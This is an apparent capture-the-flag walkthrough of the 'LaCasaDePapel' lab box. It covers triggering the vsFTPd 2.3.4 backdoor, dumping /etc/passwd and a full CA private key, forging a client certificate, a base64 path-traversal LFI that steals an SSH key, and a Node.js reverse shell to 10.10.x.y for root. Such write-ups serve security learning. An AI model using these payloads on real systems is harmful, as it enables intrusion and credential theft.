LaCasaDePapel – an easy box mostly related to web technologies.
First a nmap scan of the target:
# nmap 10.10.10.131 -A Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 02:27 EDT Nmap scan report for 10.10.10.131 Host is up (0.083s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA) | 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA) |_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519) 80/tcp open http Node.js (Express middleware) |_http-title: La Casa De Papel 443/tcp open ssl/http Node.js Express framework | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. | ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel | Not valid before: 2019-01-27T08:35:30 |_Not valid after: 2029-01-24T08:35:30 | tls-alpn: |_ http/1.1
The website on either port 80 nor 443 presented us with anything useful.
80 allowed us to register an account but the confirmation email was not sent and port 443 expected a client certificate.
Instead vsftpd is interesting, there is a known backdoor for that version. There are existing exploits released for this but the last step always failed so I did this manually:
# telnet 10.10.10.131 21 Trying 10.10.10.131... Connected to 10.10.10.131. Escape character is '^]'. 220 (vsFTPd 2.3.4) USER letmein:) 331 Please specify the password. PASS please
After that we can connect to the backdoor on port 6200. But we are not granted a normal shell, instead it’s a “Psy Shell”. It still allows us to read local files, so we get /etc/passwd and it also gave us the CA key required for a client certificate:
# telnet 10.10.10.131 6200 Trying 10.10.10.131... Connected to 10.10.10.131. Escape character is '^]'. Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman ls -al Variables: $tokyo Tokyo {#2307} $_ null file_get_contents('/etc/passwd') => """ root:x:0:0:root:/root:/bin/ash\n bin:x:1:1:bin:/bin:/sbin/nologin\n daemon:x:2:2:daemon:/sbin:/sbin/nologin\n adm:x:3:4:adm:/var/adm:/sbin/nologin\n lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n sync:x:5:0:sync:/sbin:/bin/sync\n shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\n halt:x:7:0:halt:/sbin:/sbin/halt\n mail:x:8:12:mail:/var/spool/mail:/sbin/nologin\n news:x:9:13:news:/usr/lib/news:/sbin/nologin\n uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\n operator:x:11:0:operator:/root:/bin/sh\n man:x:13:15:man:/usr/man:/sbin/nologin\n postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin\n cron:x:16:16:cron:/var/spool/cron:/sbin/nologin\n ftp:x:21:21::/var/lib/ftp:/sbin/nologin\n sshd:x:22:22:sshd:/dev/null:/sbin/nologin\n at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\n squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\n xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\n games:x:35:35:games:/usr/games:/sbin/nologin\n postgres:x:70:70::/var/lib/postgresql:/bin/sh\n cyrus:x:85:12::/usr/cyrus:/sbin/nologin\n vpopmail:x:89:89::/var/vpopmail:/sbin/nologin\n ntp:x:123:123:NTP:/var/empty:/sbin/nologin\n smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\n guest:x:405:100:guest:/dev/null:/sbin/nologin\n nobody:x:65534:65534:nobody:/:/sbin/nologin\n chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin\n dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh\n berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash\n professor:x:1002:1002:professor,,,:/home/professor:/bin/ash\n vsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologin\n memcached:x:102:102:memcached:/home/memcached:/sbin/nologin\n """ show Tokyo > 2| class Tokyo { 3| private function sign($caCert,$userCsr) { 4| $caKey = file_get_contents('/home/nairobi/ca.key'); 5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); 6| openssl_x509_export($userCert, $userCertOut); 7| return $userCertOut; 8| } 9| } file_get_contents('/home/nairobi/ca.key'); => """ -----BEGIN PRIVATE KEY-----\n MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb\n 7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/\n 2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl\n uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M\n YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp\n s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us\n PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V\n Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89\n 1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ\n /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+\n q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr\n uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd\n I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og\n 7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE\n G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn\n sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH\n CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y\n sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI\n ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2\n zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/\n ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC\n 9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M\n WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM\n 7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR\n aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc\n 53udBEzjt3WPqYGkkDknVhjD\n -----END PRIVATE KEY-----\n """
Now we can sign our own client certificate. First we need to download the CA certificate, you can use Firefox to export it or simply run:
# openssl s_client -showcerts -connect 10.10.10.131:443 </dev/null
Next we’ll create our own private key and sign it with the leaked CA:
# openssl genrsa -out zertifikat-key.pem 4096 # openssl req -new -key zertifikat-key.pem -out zertifikat.csr -sha512 # openssl x509 -req -in zertifikat.csr -CA lacasadepapelhtb.crt -CAkey ca.key -CAcreateserial -out zertifikat-pub.pem -days 365 -sha512 # openssl pkcs12 -export -in zertifikat-pub.pem -inkey zertifikat-key.pem -out cert.p12
You can import the cert.p12 file into Firefox and then visit the site:
This portal allows us to download files, looking at the URLs, we see quickly that the last parameter is base64 encoded and contains a trivial LFI:
# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp -I HTTP/1.1 200 OK X-Powered-By: Express Content-disposition: attachment; filename=01.avi Content-Length: 0 Date: Sun, 09 Jun 2019 06:45:27 GMT Connection: keep-alive # echo "U0VBU09OLTEvMDEuYXZp" |base64 -d SEASON-1/01.avi # curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem https://10.10.10.131/file/`echo "$(echo -n "../../../../../../etc/hosts" | base64)"` 192.168.1.85 lacasadepapel 127.0.0.1 localhost localhost.localdomain ::1 localhost localhost.localdomain
After some more enumeration we get the SSH private key of the user “berlin” and use it to login as the user “professor”:
# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem https://10.10.10.131/file/`echo "$(echo -n "../.ssh/id_rsa" | base64)"` -o id_rsa % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3389 100 3389 0 0 3825 0 --:--:-- --:--:-- --:--:-- 3820 # chmod 600 id_rsa # ssh professor@10.10.10.131 -i id_rsa _ ____ ____ ____ _ | | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| | | | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ | | |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ | |_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_| |_| lacasadepapel [~]$ id uid=1002(professor) gid=1002(professor) groups=1002(professor)
Now after a while trying to figure out the privilege escalation we’ve noticed that the process ID of “/usr/bin/node /home/professor/memcached.js” keeps changing, so this service is constantly restarted.
And we also have in our home directory the configuration file (“memcached.ini”) and the executed JavaScript file (“memcached.js”) but no permission to write to those files.
As those files are in our home directory and we have write privileges to the folder in which those files are stored, we can simply move them away and create new files. We’ve created “memcached.ini.new” with the content:
[program:memcached] command = sudo /usr/bin/node /home/professor/memcached.js
And “memcached.js.new” with the content:
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8080, "10.10.x.y", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
Started nc to listen to incoming connections on port tcp/8080:
# nc -vnlp 8080 listening on [any] 8080 ...
And now move the files into the right place:
mv memcached.ini memcached.ini.bak mv memcached.ini.new memcached.ini mv memcached.js memcached.js.bak mv memcached.js.new memcached.js
And after a minute or so back at our listener we get a root shell and can finally get the flags:
# nc -vnlp 8080 listening on [any] 8080 ... connect to [10.10.x.y] from (UNKNOWN) [10.10.10.131] 38794 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) cat /home/berlin/user.txt 4dcbd172f(...) cat /root/root.txt 586979c48(...)